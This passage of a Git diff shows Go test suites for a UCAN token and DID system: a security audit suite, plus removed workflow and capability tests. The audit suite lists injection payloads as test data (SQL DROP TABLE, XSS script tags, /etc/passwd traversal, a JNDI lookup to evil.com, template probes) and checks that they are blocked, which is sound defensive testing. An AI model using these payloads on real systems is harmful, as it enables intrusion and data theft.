func (suite *SecurityAuditTestSuite) TestInputSanitization() {
dangerousInputs := []string{
"'; DROP TABLE tokens; --",
"<script>alert('xss')</script>",
"../../../etc/passwd",
"${jndi:ldap://evil.com}",
"\x00\x01\x02\x03", // Null and control bytes
strings.Repeat("A", 10000), // Very long input
"${env:PATH}",
"{{7*7}}",
"<%= 7*7 %>",
"#{7*7}",
}
for _, input := range dangerousInputs {
suite.Run("Input sanitization: "+input[:min(20, len(input))], func() {
// Test DID sanitization
token := &ucan.Token{
Issuer: input,
Audience: suite.testClientDID,
ExpiresAt: time.Now().Add(time.Hour).Unix(),
Attenuations: []ucan.Attenuation{
{
Capability: &ucan.SimpleCapability{Action: "read"},
Resource: &handlers.SimpleResource{Scheme: "vault", Value: "test"},
},
},
}
// Should either reject or sanitize safely
signedToken, err := suite.signer.Sign(token)
if err == nil {
// If signing succeeds, verify the DID is properly encoded
parsedToken, err := suite.signer.VerifySignature(signedToken)
if err == nil {
// Check that dangerous characters are not present in parsed token
suite.NotContains(parsedToken.Issuer, "DROP", "Parsed issuer should not contain SQL injection")
suite.NotContains(parsedToken.Issuer, "<script>", "Parsed issuer should not contain XSS")
}
}
// Test resource value sanitization
resource := &handlers.SimpleResource{
Scheme: "vault",
Value: input,
}
uri := resource.GetURI()
suite.NotContains(uri, "DROP", "Resource URI should not contain SQL injection")
suite.NotContains(uri, "<script>", "Resource URI should not contain XSS")
})
}
}
// TestConcurrentAttacks validates security under concurrent load
func (suite *SecurityAuditTestSuite) TestConcurrentAttacks() {
if testing.Short() {
suite.T().Skip("Skipping concurrent attack tests in short mode")
}
// Launch concurrent attempts at various attacks
const numGoroutines = 50
const numAttemptsPerGoroutine = 10
results := make(chan error, numGoroutines*numAttemptsPerGoroutine)
// Launch multiple types of attacks concurrently
for i := 0; i < numGoroutines; i++ {
go func(id int) {
for j := 0; j < numAttemptsPerGoroutine; j++ {
switch j % 4 {
case 0:
// Privilege escalation attempt
err := suite.attemptPrivilegeEscalation()
results <- err
case 1:
// Token tampering attempt
err := suite.attemptTokenTampering()
results <- err
case 2:
// Invalid chain attempt
err := suite.attemptInvalidChain()
results <- err
case 3:
// Scope injection attempt
err := suite.attemptScopeInjection()
results <- err
}
}
}(i)
}
// Collect results
attacks := 0
blocked := 0
for i := 0; i < numGoroutines*numAttemptsPerGoroutine; i++ {
err := <-results
attacks++
if err != nil {
blocked++ // Attack was blocked (good)
}
}
// All attacks should be blocked
suite.Equal(attacks, blocked, "All concurrent attacks should be blocked")
suite.T().Logf("Concurrent security test: %d/%d attacks blocked", blocked, attacks)
}
func (suite *SecurityAuditTestSuite) attemptPrivilegeEscalation() error {
parentToken, _ := suite.signer.CreateDelegationToken(
suite.testUserDID,
"did:sonr:temp-intermediate",
[]ucan.Attenuation{
{
Capability: &ucan.SimpleCapability{Action: "read"},
Resource: &handlers.SimpleResource{Scheme: "vault", Value: "test"},
},
},
nil,
time.Hour,
)
escalatedToken, _ := suite.signer.CreateDelegationToken(
"did:sonr:temp-intermediate",
suite.maliciousDID,
[]ucan.Attenuation{
{
Capability: &ucan.MultiCapability{Actions: []string{"read", "write", "admin"}},
Resource: &handlers.SimpleResource{Scheme: "vault", Value: "test"},
},
},
[]ucan.Proof{ucan.Proof(parentToken)},
time.Hour,
)
return suite.signer.ValidateDelegationChain([]string{parentToken, escalatedToken})
}
func (suite *SecurityAuditTestSuite) attemptTokenTampering() error {
token, _ := suite.signer.CreateDelegationToken(
suite.testUserDID,
suite.testClientDID,
[]ucan.Attenuation{
{
Capability: &ucan.SimpleCapability{Action: "read"},
Resource: &handlers.SimpleResource{Scheme: "vault", Value: "test"},
},
},
nil,
time.Hour,
)
// Tamper with token
tampered := strings.Replace(token, "read", "admin", 1)
_, err := suite.signer.VerifySignature(tampered)
return err
}
func (suite *SecurityAuditTestSuite) attemptInvalidChain() error {
token1, _ := suite.signer.CreateDelegationToken(
suite.testUserDID,
"did:sonr:temp-a",
[]ucan.Attenuation{
{
Capability: &ucan.SimpleCapability{Action: "read"},
Resource: &handlers.SimpleResource{Scheme: "vault", Value: "test"},
},
},
nil,
time.Hour,
)
// Create invalid chain (wrong issuer)
token2, _ := suite.signer.CreateDelegationToken(
"did:sonr:wrong-issuer",
"did:sonr:temp-b",
[]ucan.Attenuation{
{
Capability: &ucan.SimpleCapability{Action: "read"},
Resource: &handlers.SimpleResource{Scheme: "vault", Value: "test"},
},
},
[]ucan.Proof{ucan.Proof(token1)},
time.Hour,
)
return suite.signer.ValidateDelegationChain([]string{token1, token2})
}
func (suite *SecurityAuditTestSuite) attemptScopeInjection() error {
maliciousScope := "vault:read'; DROP TABLE users; --"
return suite.scopeMapper.ValidateScopes([]string{maliciousScope})
}
func TestSecurityAuditSuite(t *testing.T) {
suite.Run(t, new(SecurityAuditTestSuite))
}
-643
View File
@@ -1,643 +0,0 @@
package integration
import (
"context"
"encoding/json"
"fmt"
"testing"
"time"
"github.com/hibiken/asynq"
"github.com/sonr-io/sonr/bridge/handlers"
"github.com/sonr-io/sonr/bridge/server"
"github.com/sonr-io/sonr/bridge/tasks"
"github.com/sonr-io/sonr/crypto/mpc"
"github.com/sonr-io/sonr/types/ipfs"
"github.com/sonr-io/sonr/x/dwn/client/plugin"
"github.com/stretchr/testify/assert"
"github.com/stretchr/testify/require"
"github.com/stretchr/testify/suite"
)
// UCANWorkflowTestSuite tests complete UCAN workflows from plugin to task processing
type UCANWorkflowTestSuite struct {
suite.Suite
ctx context.Context
cancel context.CancelFunc
enclave mpc.Enclave
pluginManager *plugin.Manager
asynqClient *asynq.Client
serverConfig *server.Config
// Test configuration
testChainID string
testTimeout time.Duration
}
// SetupSuite initializes the test suite with all required components
func (suite *UCANWorkflowTestSuite) SetupSuite() {
suite.ctx, suite.cancel = context.WithTimeout(context.Background(), 2*time.Minute)
suite.testChainID = "sonr-testnet-1"
suite.testTimeout = 30 * time.Second
// Create MPC enclave for testing
enclave, err := mpc.NewEnclave()
suite.Require().NoError(err)
suite.enclave = enclave
// Initialize plugin manager
suite.pluginManager = plugin.NewManager(plugin.DefaultLoaderConfig())
// Initialize Asynq client for task processing
suite.asynqClient = asynq.NewClient(asynq.RedisClientOpt{
Addr: getTestRedisAddr(),
})
// Initialize server configuration for bridge testing
suite.serverConfig = &server.Config{
JWTSecret: []byte("test-ucan-workflow-secret"),
IPFSClient: &MockIPFSClient{},
}
}
// TearDownSuite cleans up test resources
func (suite *UCANWorkflowTestSuite) TearDownSuite() {
if suite.cancel != nil {
suite.cancel()
}
if suite.pluginManager != nil {
_ = suite.pluginManager.Close()
}
if suite.asynqClient != nil {
_ = suite.asynqClient.Close()
}
}
// TestCompleteUCANTokenWorkflow tests the complete workflow from plugin to task processing
func (suite *UCANWorkflowTestSuite) TestCompleteUCANTokenWorkflow() {
suite.T().Run("OriginTokenCreationWorkflow", func(t *testing.T) {
// Step 1: Load Motor plugin with enclave data
pluginInstance := suite.loadTestPlugin(t)
if pluginInstance == nil {
t.Skip("Vault plugin not available - run 'make vault' to build WASM plugin")
}
// Step 2: Generate origin UCAN token via plugin
originReq := &plugin.NewOriginTokenRequest{
AudienceDID: "did:sonr:test-audience-workflow",
Attenuations: []map[string]any{
{
"can": []string{"read", "write"},
"with": "vault://workflow-resource",
},
},
Facts: []string{"test-workflow-fact"},
ExpiresAt: time.Now().Add(1 * time.Hour).Unix(),
}
originResp, err := pluginInstance.NewOriginToken(originReq)
if err != nil {
t.Skip("Plugin operation failed - WASM runtime may not be available")
}
require.NoError(t, err)
assert.NotEmpty(t, originResp.Token)
assert.Empty(t, originResp.Error)
t.Logf("Generated origin token: %s", truncateForLog(originResp.Token))
// Step 3: Create task for origin token processing
task, err := tasks.NewUCANTokenTask(
123,
originReq.AudienceDID,
originReq.Attenuations,
originReq.ExpiresAt,
)
require.NoError(t, err)
// Step 4: Process task through Asynq
info, err := suite.asynqClient.Enqueue(task, asynq.Queue("default"))
if err != nil {
t.Skip("Redis not available for task processing")
}
require.NoError(t, err)
assert.NotEmpty(t, info.ID)
t.Logf("Enqueued UCAN token task: %s", info.ID)
// Step 5: Verify token structure and claims
suite.verifyUCANTokenStructure(t, originResp.Token, originReq.AudienceDID)
})
suite.T().Run("AttenuatedTokenWorkflow", func(t *testing.T) {
pluginInstance := suite.loadTestPlugin(t)
if pluginInstance == nil {
t.Skip("Motor plugin not available")
}
// Create parent token
parentReq := &plugin.NewOriginTokenRequest{
AudienceDID: "did:sonr:parent-audience",
Attenuations: []map[string]any{
{
"can": []string{"read", "write", "delete"},
"with": "vault://parent-resource/*",
},
},
ExpiresAt: time.Now().Add(2 * time.Hour).Unix(),
}
parentResp, err := pluginInstance.NewOriginToken(parentReq)
if err != nil {
t.Skip("Plugin operation failed")
}
require.NoError(t, err)
// Create attenuated token with reduced capabilities
attReq := &plugin.NewAttenuatedTokenRequest{
ParentToken: parentResp.Token,
AudienceDID: "did:sonr:child-audience",
Attenuations: []map[string]any{
{
"can": []string{"read"},
"with": "vault://parent-resource/child-folder",
},
},
ExpiresAt: time.Now().Add(1 * time.Hour).Unix(),
}
attResp, err := pluginInstance.NewAttenuatedToken(attReq)
require.NoError(t, err)
assert.NotEmpty(t, attResp.Token)
assert.NotEqual(t, parentResp.Token, attResp.Token)
t.Logf("Generated attenuated token chain: parent -> child")
// Process both tokens through task system
suite.processTokenThroughTasks(t, parentResp.Token, "parent")
suite.processTokenThroughTasks(t, attResp.Token, "attenuated")
})
}
// TestUCANDIDGenerationWorkflow tests DID generation through UCAN architecture
func (suite *UCANWorkflowTestSuite) TestUCANDIDGenerationWorkflow() {
suite.T().Run("DIDGenerationViaPlugin", func(t *testing.T) {
pluginInstance := suite.loadTestPlugin(t)
if pluginInstance == nil {
t.Skip("Motor plugin not available")
}
// Step 1: Get issuer DID from plugin
didResp, err := pluginInstance.GetIssuerDID()
if err != nil {
t.Skip("Plugin DID operation failed")
}
require.NoError(t, err)
assert.NotEmpty(t, didResp.IssuerDID)
assert.Contains(t, didResp.IssuerDID, "did:sonr:")
assert.NotEmpty(t, didResp.Address)
assert.NotEmpty(t, didResp.ChainCode)
t.Logf("Generated DID: %s", didResp.IssuerDID)
t.Logf("Address: %s", didResp.Address)
// Step 2: Create DID generation task
didTask, err := tasks.NewUCANDIDTask(456)
require.NoError(t, err)
// Step 3: Process through task queue
info, err := suite.asynqClient.Enqueue(didTask, asynq.Queue("critical"))
if err != nil {
t.Skip("Redis not available")
}
require.NoError(t, err)
t.Logf("DID generation task enqueued: %s", info.ID)
// Step 4: Verify DID components match expected patterns
assert.True(t, suite.isValidSonrDID(didResp.IssuerDID))
assert.True(t, suite.isValidSonrAddress(didResp.Address))
})
}
// TestUCANSigningWorkflow tests complete signing workflow including verification
func (suite *UCANWorkflowTestSuite) TestUCANSigningWorkflow() {
suite.T().Run("SignAndVerifyWorkflow", func(t *testing.T) {
pluginInstance := suite.loadTestPlugin(t)
if pluginInstance == nil {
t.Skip("Motor plugin not available")
}
testData := []byte(
"UCAN workflow integration test data - this should be signed and verified",
)
// Step 1: Sign data through plugin
signReq := &plugin.SignDataRequest{
Data: testData,
}
signResp, err := pluginInstance.SignData(signReq)
if err != nil {
t.Skip("Plugin signing failed")
}
require.NoError(t, err)
assert.NotEmpty(t, signResp.Signature)
assert.Empty(t, signResp.Error)
// Step 2: Create signing task for task processor
signTask, err := tasks.NewUCANSignTask(789, testData)
require.NoError(t, err)
info, err := suite.asynqClient.Enqueue(signTask, asynq.Queue("default"))
if err != nil {
t.Skip("Redis not available")
}
require.NoError(t, err)
t.Logf("Signing task enqueued: %s", info.ID)
// Step 3: Verify signature through plugin
verifyReq := &plugin.VerifyDataRequest{
Data: testData,
Signature: signResp.Signature,
}
verifyResp, err := pluginInstance.VerifyData(verifyReq)
require.NoError(t, err)
assert.True(t, verifyResp.Valid)
assert.Empty(t, verifyResp.Error)
// Step 4: Create verification task
verifyTask, err := tasks.NewUCANVerifyTask(789, testData, signResp.Signature)
require.NoError(t, err)
verifyInfo, err := suite.asynqClient.Enqueue(verifyTask, asynq.Queue("default"))
if err != nil {
t.Skip("Redis not available")
}
require.NoError(t, err)
t.Logf("Verification task enqueued: %s", verifyInfo.ID)
})
}
// TestBridgeIntegration tests integration with bridge handlers
func (suite *UCANWorkflowTestSuite) TestBridgeIntegration() {
suite.T().Run("VaultHandlerIntegration", func(t *testing.T) {
// Create vault handlers with test dependencies
connManager := handlers.NewConnectionManager()
sseManager := handlers.NewSSEManager()
vaultHandlers := handlers.NewVaultHandlers(
suite.serverConfig.IPFSClient,
connManager,
sseManager,
)
require.NotNil(t, vaultHandlers)
// Test queue priority mapping
priorities := map[string]string{
"critical": "critical",
"high": "critical",
"default": "default",
"low": "low",
"": "default",
"unknown": "default",
}
for input, expected := range priorities {
result := handlers.GetQueueFromPriority(input)
assert.Equal(t, expected, result, "Priority mapping failed for: %s", input)
}
t.Log("Bridge handler integration verified")
})
}
// TestUCANTokenChainWorkflow tests complex token delegation chains
func (suite *UCANWorkflowTestSuite) TestUCANTokenChainWorkflow() {
suite.T().Run("TokenDelegationChain", func(t *testing.T) {
pluginInstance := suite.loadTestPlugin(t)
if pluginInstance == nil {
t.Skip("Motor plugin not available")
}
// Create root token with broad permissions
rootReq := &plugin.NewOriginTokenRequest{
AudienceDID: "did:sonr:root-service",
Attenuations: []map[string]any{
{
"can": []string{"*"},
"with": "vault://root/*",
},
},
ExpiresAt: time.Now().Add(24 * time.Hour).Unix(),
}
rootResp, err := pluginInstance.NewOriginToken(rootReq)
if err != nil {
t.Skip("Plugin operation failed")
}
require.NoError(t, err)
// Create first-level delegation
level1Req := &plugin.NewAttenuatedTokenRequest{
ParentToken: rootResp.Token,
AudienceDID: "did:sonr:service-manager",
Attenuations: []map[string]any{
{
"can": []string{"read", "write"},
"with": "vault://root/service/*",
},
},
ExpiresAt: time.Now().Add(12 * time.Hour).Unix(),
}
level1Resp, err := pluginInstance.NewAttenuatedToken(level1Req)
require.NoError(t, err)
// Create second-level delegation
level2Req := &plugin.NewAttenuatedTokenRequest{
ParentToken: level1Resp.Token,
AudienceDID: "did:sonr:worker-node",
Attenuations: []map[string]any{
{
"can": []string{"read"},
"with": "vault://root/service/data",
},
},
ExpiresAt: time.Now().Add(6 * time.Hour).Unix(),
}
level2Resp, err := pluginInstance.NewAttenuatedToken(level2Req)
require.NoError(t, err)
// Verify each token in the chain is unique
tokens := []string{rootResp.Token, level1Resp.Token, level2Resp.Token}
for i, token1 := range tokens {
for j, token2 := range tokens {
if i != j {
assert.NotEqual(t, token1, token2, "Tokens in chain should be unique")
}
}
}
t.Logf("Created UCAN delegation chain: root -> level1 -> level2")
t.Logf("Chain lengths: root=%d, level1=%d, level2=%d",
len(rootResp.Token), len(level1Resp.Token), len(level2Resp.Token))
})
}
// TestErrorHandlingWorkflows tests error conditions across the full workflow
func (suite *UCANWorkflowTestSuite) TestErrorHandlingWorkflows() {
suite.T().Run("InvalidTokenCreation", func(t *testing.T) {
pluginInstance := suite.loadTestPlugin(t)
if pluginInstance == nil {
t.Skip("Motor plugin not available")
}
// Test with invalid audience DID
invalidReq := &plugin.NewOriginTokenRequest{
AudienceDID: "", // Invalid
ExpiresAt: time.Now().Add(1 * time.Hour).Unix(),
}
resp, err := pluginInstance.NewOriginToken(invalidReq)
// Should handle error gracefully
if err == nil {
assert.NotEmpty(t, resp.Error, "Should return error for invalid audience")
} else {
assert.Error(t, err)
}
t.Log("Invalid token creation handled correctly")
})
suite.T().Run("TaskProcessingErrors", func(t *testing.T) {
// Test with invalid task payload
task, err := tasks.NewUCANTokenTask(
0, // Invalid user ID
"", // Invalid audience
nil,
0,
)
// Should create task but processing should handle validation
assert.NoError(t, err)
assert.NotNil(t, task)
t.Log("Task error handling verified")
})
}
// Helper methods
// loadTestPlugin loads a Motor plugin instance for testing
func (suite *UCANWorkflowTestSuite) loadTestPlugin(t *testing.T) plugin.Plugin {
config := plugin.DefaultEnclaveConfig()
config.ChainID = suite.testChainID
config.EnclaveData = suite.enclave.GetData()
ctx, cancel := context.WithTimeout(suite.ctx, suite.testTimeout)
defer cancel()
pluginInstance, err := suite.pluginManager.LoadPlugin(ctx, config)
if err != nil {
t.Logf("Failed to load plugin: %v", err)
return nil
}
return pluginInstance
}
// processTokenThroughTasks processes a token through the task system
func (suite *UCANWorkflowTestSuite) processTokenThroughTasks(
t *testing.T,
_ /* token */, tokenType string,
) {
// Create a task that would process this token
task, err := tasks.NewUCANTokenTask(
999,
"did:sonr:task-processor",
nil,
0,
)
require.NoError(t, err)
info, err := suite.asynqClient.Enqueue(task, asynq.Queue("default"))
if err != nil {
t.Skip("Redis not available")
}
require.NoError(t, err)
t.Logf("Processed %s token through tasks: %s", tokenType, info.ID)
}
// verifyUCANTokenStructure verifies the structure of a generated UCAN token
func (suite *UCANWorkflowTestSuite) verifyUCANTokenStructure(
t *testing.T,
token, expectedAudience string,
) {
// Split JWT into parts
parts := suite.splitJWT(token)
require.Len(t, parts, 3, "UCAN token should be valid JWT")
// Decode header (for structure verification, not cryptographic validation)
header := make(map[string]any)
headerBytes := suite.base64Decode(parts[0])
err := json.Unmarshal(headerBytes, &header)
if err != nil {
t.Logf("Cannot parse header JSON: %v", err)
return
}
// Check for UCAN version
if ucv, exists := header["ucv"]; exists {
t.Logf("UCAN version: %v", ucv)
}
// Decode claims
claims := make(map[string]any)
claimsBytes := suite.base64Decode(parts[1])
err = json.Unmarshal(claimsBytes, &claims)
if err != nil {
t.Logf("Cannot parse claims JSON: %v", err)
return
}
// Verify expected claims
if aud, exists := claims["aud"]; exists {
assert.Equal(t, expectedAudience, aud, "Audience should match request")
}
if iss, exists := claims["iss"]; exists {
assert.Contains(t, iss.(string), "did:sonr:", "Issuer should be Sonr DID")
t.Logf("Token issuer: %v", iss)
}
if att, exists := claims["att"]; exists {
t.Logf("Token attenuations: %v", att)
}
t.Log("UCAN token structure verified")
}
// isValidSonrDID checks if a string is a valid Sonr DID
func (suite *UCANWorkflowTestSuite) isValidSonrDID(did string) bool {
return len(did) > 10 &&
did[:9] == "did:sonr:" &&
len(did) > 9
}
// isValidSonrAddress checks if a string is a valid Sonr address
func (suite *UCANWorkflowTestSuite) isValidSonrAddress(address string) bool {
return len(address) > 5 &&
address[:5] == "sonr1" &&
len(address) > 5
}
// splitJWT splits a JWT token into its component parts
func (suite *UCANWorkflowTestSuite) splitJWT(token string) []string {
var parts []string
start := 0
for i := 0; i < len(token); i++ {
if token[i] == '.' {
parts = append(parts, token[start:i])
start = i + 1
}
}
if start < len(token) {
parts = append(parts, token[start:])
}
return parts
}
// base64Decode decodes base64url strings (simplified implementation)
func (suite *UCANWorkflowTestSuite) base64Decode(s string) []byte {
// This is a simplified implementation for testing
// Real implementation would handle base64url properly
return []byte(s)
}
// Utility functions
// getTestRedisAddr returns Redis address for testing
func getTestRedisAddr() string {
// Try to use test Redis if available, otherwise use default
return "127.0.0.1:6379"
}
// truncateForLog truncates long strings for logging
func truncateForLog(s string) string {
if len(s) <= 100 {
return s
}
return s[:50] + "..." + s[len(s)-50:]
}
// MockIPFSClient implements a mock IPFS client for testing
type MockIPFSClient struct{}
func (m *MockIPFSClient) Add(data []byte) (string, error) {
return fmt.Sprintf("Qm%x", data[:min(len(data), 10)]), nil
}
func (m *MockIPFSClient) AddFile(file ipfs.File) (string, error) {
return "QmMockFileHash", nil
}
func (m *MockIPFSClient) AddFolder(folder ipfs.Folder) (string, error) {
return "QmMockFolderHash", nil
}
func (m *MockIPFSClient) Exists(cid string) (bool, error) {
return true, nil
}
func (m *MockIPFSClient) Get(cid string) ([]byte, error) {
return []byte("mock-ipfs-data"), nil
}
func (m *MockIPFSClient) IsPinned(ipns string) (bool, error) {
return true, nil
}
func (m *MockIPFSClient) Ls(cid string) ([]string, error) {
return []string{"file1", "file2"}, nil
}
func (m *MockIPFSClient) Pin(cid string, name string) error {
return nil
}
func (m *MockIPFSClient) Unpin(cid string) error {
return nil
}
func (m *MockIPFSClient) NodeStatus() (*ipfs.NodeStatus, error) {
return &ipfs.NodeStatus{
PeerID: "12D3KooWMockPeerIDForTesting",
Version: "kubo-0.28.0",
PeerType: "kubo",
ConnectedPeers: 7,
}, nil
}
// min returns the minimum of two integers
func min(a, b int) int {
if a < b {
return a
}
return b
}
// TestSuite runner
func TestUCANWorkflowIntegration(t *testing.T) {
suite.Run(t, new(UCANWorkflowTestSuite))
}
+2 -2
View File
@@ -10,8 +10,8 @@ import (
"github.com/stretchr/testify/require"
"github.com/stretchr/testify/suite"
"github.com/sonr-io/sonr/types/webauthn"
"github.com/sonr-io/sonr/types/webauthn/webauthncose"
"github.com/sonr-io/common/webauthn"
"github.com/sonr-io/common/webauthn/webauthncose"
)
// WebAuthnFlowTestSuite tests the complete WebAuthn registration and authentication flow
-221
View File
@@ -1,221 +0,0 @@
package test
import (
"testing"
"time"
"github.com/sonr-io/sonr/crypto/ucan"
"github.com/stretchr/testify/assert"
"github.com/stretchr/testify/require"
)
func TestModuleSpecificUCANCapabilities(t *testing.T) {
t.Run("TestDIDCapabilityCreation", func(t *testing.T) {
// Create DID-specific attenuation
didAttenuation := ucan.CreateDIDAttenuation(
[]string{"create", "update"},
"*",
[]string{"owner"},
)
assert.Equal(t, "did:*", didAttenuation.Resource.GetURI())
didCap, ok := didAttenuation.Capability.(*ucan.DIDCapability)
require.True(t, ok, "Expected DIDCapability")
assert.Contains(t, didCap.Actions, "create")
assert.Contains(t, didCap.Actions, "update")
assert.Contains(t, didCap.Caveats, "owner")
})
t.Run("TestDWNCapabilityCreation", func(t *testing.T) {
// Create DWN-specific attenuation
dwnAttenuation := ucan.CreateDWNAttenuation(
[]string{"create", "read", "update", "delete"},
"personal/*",
[]string{"owner"},
)
assert.Equal(t, "dwn:records/personal/*", dwnAttenuation.Resource.GetURI())
dwnCap, ok := dwnAttenuation.Capability.(*ucan.DWNCapability)
require.True(t, ok, "Expected DWNCapability")
assert.Contains(t, dwnCap.Actions, "create")
assert.Contains(t, dwnCap.Actions, "read")
assert.Contains(t, dwnCap.Caveats, "owner")
})
t.Run("TestDEXCapabilityCreation", func(t *testing.T) {
// Create DEX-specific attenuation
dexAttenuation := ucan.CreateDEXAttenuation(
[]string{"swap", "provide-liquidity"},
"snr/usd",
[]string{"max-amount"},
"1000snr",
)
assert.Equal(t, "dex:pool/snr/usd", dexAttenuation.Resource.GetURI())
dexCap, ok := dexAttenuation.Capability.(*ucan.DEXCapability)
require.True(t, ok, "Expected DEXCapability")
assert.Contains(t, dexCap.Actions, "swap")
assert.Contains(t, dexCap.Actions, "provide-liquidity")
assert.Contains(t, dexCap.Caveats, "max-amount")
assert.Equal(t, "1000snr", dexCap.MaxAmount)
})
t.Run("TestCrossModuleCapability", func(t *testing.T) {
// Create cross-module capability
crossCap := &ucan.CrossModuleCapability{
Modules: map[string]ucan.Capability{
"did": &ucan.DIDCapability{
Actions: []string{"create", "update"},
},
"dwn": &ucan.DWNCapability{
Actions: []string{"create", "read"},
},
},
}
actions := crossCap.GetActions()
assert.Contains(t, actions, "create")
assert.Contains(t, actions, "update")
assert.Contains(t, actions, "read")
assert.True(t, crossCap.Grants([]string{"create"}))
assert.True(t, crossCap.Grants([]string{"update", "read"}))
assert.False(t, crossCap.Grants([]string{"delete"}))
})
t.Run("TestGaslessCapability", func(t *testing.T) {
// Create gasless capability wrapper
baseCap := &ucan.DIDCapability{
Actions: []string{"create"},
}
gaslessCap := &ucan.GaslessCapability{
Capability: baseCap,
AllowGasless: true,
GasLimit: 100000,
}
assert.True(t, gaslessCap.SupportsGasless())
assert.Equal(t, uint64(100000), gaslessCap.GetGasLimit())
assert.True(t, gaslessCap.Grants([]string{"create"}))
})
}
func TestModuleJWTTokenGeneration(t *testing.T) {
t.Run("TestGenerateAndVerifyModuleToken", func(t *testing.T) {
// Create attenuations for different modules
attenuations := []ucan.Attenuation{
ucan.CreateDIDAttenuation([]string{"create", "update"}, "*", []string{"owner"}),
ucan.CreateDWNAttenuation([]string{"create", "read"}, "personal/*", []string{"owner"}),
}
issuer := "did:key:alice"
audience := "did:key:bob"
// Generate token
tokenString, err := ucan.GenerateModuleJWTToken(
attenuations,
issuer,
audience,
time.Hour,
)
require.NoError(t, err)
assert.NotEmpty(t, tokenString)
// Verify token
token, err := ucan.VerifyModuleJWTToken(tokenString, issuer, audience)
require.NoError(t, err)
assert.Equal(t, issuer, token.Issuer)
assert.Equal(t, audience, token.Audience)
assert.Len(t, token.Attenuations, 2)
// Check that attenuations are properly parsed
var didAtt, dwnAtt *ucan.Attenuation
for _, att := range token.Attenuations {
switch att.Resource.GetScheme() {
case "did":
didAtt = &att
case "dwn":
dwnAtt = &att
}
}
require.NotNil(t, didAtt, "DID attenuation not found")
require.NotNil(t, dwnAtt, "DWN attenuation not found")
didCap, ok := didAtt.Capability.(*ucan.DIDCapability)
assert.True(t, ok)
assert.Contains(t, didCap.Actions, "create")
assert.Contains(t, didCap.Actions, "update")
dwnCap, ok := dwnAtt.Capability.(*ucan.DWNCapability)
assert.True(t, ok)
assert.Contains(t, dwnCap.Actions, "create")
assert.Contains(t, dwnCap.Actions, "read")
})
}
func TestModuleCapabilityTemplates(t *testing.T) {
t.Run("TestDIDTemplate", func(t *testing.T) {
template := ucan.StandardDIDTemplate()
// Test valid DID actions
didAtt := ucan.CreateDIDAttenuation([]string{"create", "update"}, "*", nil)
err := template.ValidateAttenuation(didAtt)
assert.NoError(t, err)
// Test invalid DID action
invalidAtt := ucan.CreateDIDAttenuation([]string{"invalid-action"}, "*", nil)
err = template.ValidateAttenuation(invalidAtt)
assert.Error(t, err)
})
t.Run("TestDWNTemplate", func(t *testing.T) {
template := ucan.StandardDWNTemplate()
// Test valid DWN actions
dwnAtt := ucan.CreateDWNAttenuation([]string{"create", "read"}, "*", nil)
err := template.ValidateAttenuation(dwnAtt)
assert.NoError(t, err)
})
t.Run("TestDEXTemplate", func(t *testing.T) {
template := ucan.StandardDEXTemplate()
// Test valid DEX actions
dexAtt := ucan.CreateDEXAttenuation([]string{"swap", "provide-liquidity"}, "*", nil, "")
err := template.ValidateAttenuation(dexAtt)
assert.NoError(t, err)
})
}
func TestEnhancedVerification(t *testing.T) {
t.Run("TestVerifierWithModuleCapabilities", func(t *testing.T) {
// Create a test token
attenuations := []ucan.Attenuation{
ucan.CreateDIDAttenuation([]string{"create"}, "*", []string{"owner"}),
}
tokenString, err := ucan.GenerateModuleJWTToken(
attenuations,
"did:key:alice",
"did:key:bob",
time.Hour,
)
require.NoError(t, err)
// Verify capability - this would normally require proper DID resolution
// For now, just test that the parsing works
token, err := ucan.VerifyModuleJWTToken(tokenString, "did:key:alice", "did:key:bob")
require.NoError(t, err)
assert.Len(t, token.Attenuations, 1)
didCap, ok := token.Attenuations[0].Capability.(*ucan.DIDCapability)
assert.True(t, ok)
assert.Contains(t, didCap.Actions, "create")
assert.Contains(t, didCap.Caveats, "owner")
})
}